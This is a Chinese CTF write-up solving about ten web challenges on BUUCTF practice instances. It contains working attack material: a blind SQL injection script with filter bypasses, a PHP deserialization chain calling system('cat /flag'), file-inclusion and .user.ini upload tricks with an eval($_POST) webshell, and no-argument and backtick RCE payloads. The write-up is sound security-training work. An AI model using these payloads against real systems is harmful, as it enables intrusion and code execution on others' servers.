2024-BUUCTF 九月刷题

[NewStarCTF 2023 公开赛道]medium_sql

考点:sql盲注

解题步骤:

第一种:sqlmap一把梭

1
python sqlmap.py -u "http://f58e2db2-ddc1-408e-ac4f-9381a098c3b2.node5.buuoj.cn:81/?id=TMP0919" -D ctf -T here_is_flag --dump

第二种:首先测试注入点,发现存在一些过滤,使用burp+fuzz字典,fuzz测试sql过滤的字符

发现可以使用大小写绕过,但是测完字段开始注入时发现union联合注入不让用

过滤了很多,直接使用布尔盲注进行注入测试,使用大小写绕过过滤字符,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
def condition(res):
if 'Physics' in res.text:
return True
return False
result = ''
_url = 'http://f58e2db2-ddc1-408e-ac4f-9381a098c3b2.node5.buuoj.cn:81/'
import time
for _time in range(1,1000):
left = 32
right = 128
while (right > left):
mid = (left + right) // 2
# 获取当前库表名
# url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(table_name))fRom(infOrmation_schema.tables)whEre((tAble_schema) In (dAtabase()))) fRom {_time} FOr 1))))In({mid})),1,0)%23"
url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(flag)fRom(here_is_flag)) fRom {_time} FOr 1))))In({mid})),1,0)%23"
# 获取字段名
# url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(column_name))fRom(infOrmation_schema.columns)whEre((tAble_name) In ('here_is_flag'))) fRom {_time} FOr 1))))In({mid})),1,0)%23"
# 获取字段值
time.sleep(0.1)
res = requests.get(url=url)
if (condition(res)):
result += chr(mid)
print(f'{_time}:{result}')
break
else:
# 获取当前库表名
# url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(table_name))fRom(infOrmation_schema.tables)whEre((tAble_schema) In (dAtabase()))) fRom {_time} FOr 1))))>({mid})),1,0)%23"
# 获取字段名
# url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(column_name))fRom(infOrmation_schema.columns)whEre((tAble_name) In ('here_is_flag'))) fRom {_time} FOr 1))))>({mid})),1,0)%23"
# 获取字段值
url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(flag)fRom(here_is_flag)) fRom {_time} FOr 1))))>({mid})),1,0)%23"
res = requests.get(url=url)
if (condition(res)):
left = mid
else:
right = mid

代码运行结果:

flag值:flag{8c2efa36-3d0c-41f2-9ccb-79d10195341d}

NewStarCTF 2023 公开赛道]POP Gadget

考点:反序列化链子构造

首先把所有的protected属性和private属性更改为public属性,然后开始构造链子,思路如下

  1. 很容易判断出命令执行处在WhiteGod类的 $this->func)($this->var); 处
  2. 反序列化触发Begin类的__destruct()方法,name被当作字符串执行可以触发__string魔术方法
  3. $this->func)();对象被当成函数调用触发__invoke()魔术方法
  4. 调用对象不存在的方法触发__call()魔术方法,调用CTF类里的end()函数
  5. 销毁对象不存在的属性触发__unset()魔术方法,进而命令执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php

class Begin{
public $name;

public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}
class Then{
public $func;

public function __toString()
{
($this->func)();
return "Good Job!";
}

}

class Handle{
public $obj;

public function __call($func, $vars)
{
$this->obj->end();
}

}

class Super{
public $obj;
public function __invoke()
{
$this->obj->getStr();
}

public function end()
{
die("==GAME OVER==");
}
}

class CTF{
public $handle;

public function end()
{
unset($this->handle->log);
}

}
class WhiteGod{
public $func;
public $var;

public function __unset($var)
{
($this->func)($this->var);
}
}

$payload = new Begin();
$payload->name = new Then();
$payload->name->func = new Super();
$payload->name->func->obj = new Handle();
$payload->name->func->obj->obj = new CTF();
$payload->name->func->obj->obj->handle = new WhiteGod();
$payload->name->func->obj->obj->handle->func = 'system';
$payload->name->func->obj->obj->handle->var = "cat /flag";

echo serialize($payload);

flag: flag{05da38c3-be40-4619-abdb-f43bcdcde934}

[极客大挑战 2019]Secret File

考点:信息收集,伪协议读取

查看源码,发现 /Archive_room.php 页面,打开

抓包重放,得到提示有个 secr3t.php 页面

存在include函数,明显的文件包含漏洞,过滤了http,data协议,使用php伪协议读取文件

payload如下:

1
?file=php://filter/read=convert.base64-encode/resource=flag.php 

成功读取到flag.php的base64编码格式,解码即可得到flag

flag值:flag{7786aa95-4dc6-4991-a5a0-9680fde24dc9}

[SUCTF 2019]CheckIn

考点:.user.ini文件上传

先上传.user.ini文件,然后上传图片马,只要访问同一文件夹下的php文件,图片就将被解析执行,从而执行一句话木马代码

1
2
3
GIF89a

auto_prepend_file=1.gif
1
2
3
GIF89a

<script language="php">eval($_POST["a"]);</script>

访问index.php,解析成功,连接获取flag

flag值:flag{c86e465a-203c-4182-b406-24481494b321}

[GXYCTF2019]禁止套娃

考点:git泄露,无参rce

通过git泄露得到源码

过滤了很多而且要求正则是类似函数调用那样执行的,使用无参rce来绕过,payload如下:

1
?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

得到flag

flag值:flag{c2e58985-58d9-4300-9c69-e4a7e56b4644}

[GWCTF 2019]枯燥的抽奖

考点:伪随机数爆破

很有意思一道题,首先是进入页面让猜测剩下的10位字符,抓包查看

发现是向check.php发起请求,得到检验输入字符串的源码

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

分析发现本题逻辑是使用一个伪随机数种子来生成随机数,将随机数作为下标抽取$str_long1表里的字符串,将部分回显到页面上,而这就是抽奖的密码

理解之后我们可以写一个脚本,根据回显出来的部分字符串逆推出前几位随机数,然后使用工具php_mt_seed根据随机数推出种子

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
str1 ='CXH0tXiaj1'
str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result =''


length = str(len(str2)-1)
for i in range(0,len(str1)):
for j in range(0,len(str2)):
if str1[i] == str2[j]:
result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
break


print(result)

# 38 38 0 61 59 59 0 61 43 43 0 61 26 26 0 61 19 19 0 61 59 59 0 61 8 8 0 61 0 0 0 61 9 9 0 61 27 27 0 61

至于生成的result为什么要这样拼接,请看官方语法,网上找的似乎都没讲,默认知道

生成result之后就可以使用工具爆破出随机数种子了,得到种子和版本号

再修改一下题目源码,将种子改为确定的值,输出完整的20位字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$seed=610471137;

mt_srand($seed);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}

echo $str;

# CXH0tXiaj1JOqpiaqpJh

输入所得字符串,即可得到flag

flag值:flag{0a6fd919-6d08-420f-8b4c-de9437468412}

[护网杯 2018]easy_tornado

考点:tornado模版注入

hash值置空得到错误界面

发现是tornado模版注入,需要使用handler.settings获取环境变量里的一些信息,这里得到cookie_secret

下图依次是hint.txt和flag.txt里的内容

按照hint.txt里的公式加密,写入要读取的文件和hash值,得到flag

1
?filename=/fllllllllllllag&filehash=a7fdea126339a5d2d552c6623e33a664

flag值: flag{e2359669-6cdd-4881-9d58-25528f135fff}

[BJDCTF2020]The mystery of ip

考点:Twig模版注入

主页什么都没有,扫目录发现两个php页面

flag页面将ip地址显示出来了,其他页面没啥东西

结合题目名字和flag页面的ip地址猜测是X-Forwarded-For处有问题

添加X-Forwarded-For头,测试可以看到存在Twig模版注入漏洞,{{}}内的算式会被解析

burp不知道为什么重放的时候很卡,直接使用hackbar添加X-Forwarded-For头来进行模板渲染命令执行

flag值:flag{5059c3c6-577c-4151-bd27-4e47559b347a}

[BJDCTF2020]Mark loves cat

考点:.git源码泄露,命令执行

扫出一堆目录,猜测是.git泄露

使用githacker工具拉取到源码,在index.php中发现php源码

1
githacker --url http://688db0f9-41fe-4f98-9f6c-e9cda940f77a.node5.buuoj.cn:81/.git/ --output-folder result

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}

echo "the flag is: ".$flag;

我们这里利用最后一段代码得到flag,get传参flag=flag,执行exit命令,让is=flag,会退出然后执行$flag

1
2
3
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
exit($is);
}

payload如下:

1
?is=flag&flag=flag

flag值:flag{7bf30fcb-8baa-44c5-a41a-a24d9f5fa75c}

[红明谷CTF 2021]write_shell

考点:RCE命令执行

源码如下,代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}

分析:

  1. action为pwd时,得到当前目录sandbox/065831472858248584ff4993846d5065/
  2. action为upload时,会上传数据到目录路径下的index.php中,并且会对上传的数据进行检查
  3. data过滤了php,可以使用短标签绕过,用反引号执行命令,将命令结果上传到index.php,访问index.php,得到flag

先写入以下payload,再访问文件/sandbox/065831472858248584ff4993846d5065/index.php,得到flag

1
?action=upload&data=<?=`cat%09/*`?>

flag值: flag{7a260da8-bb3b-4ecd-9d5a-26661d2ca083}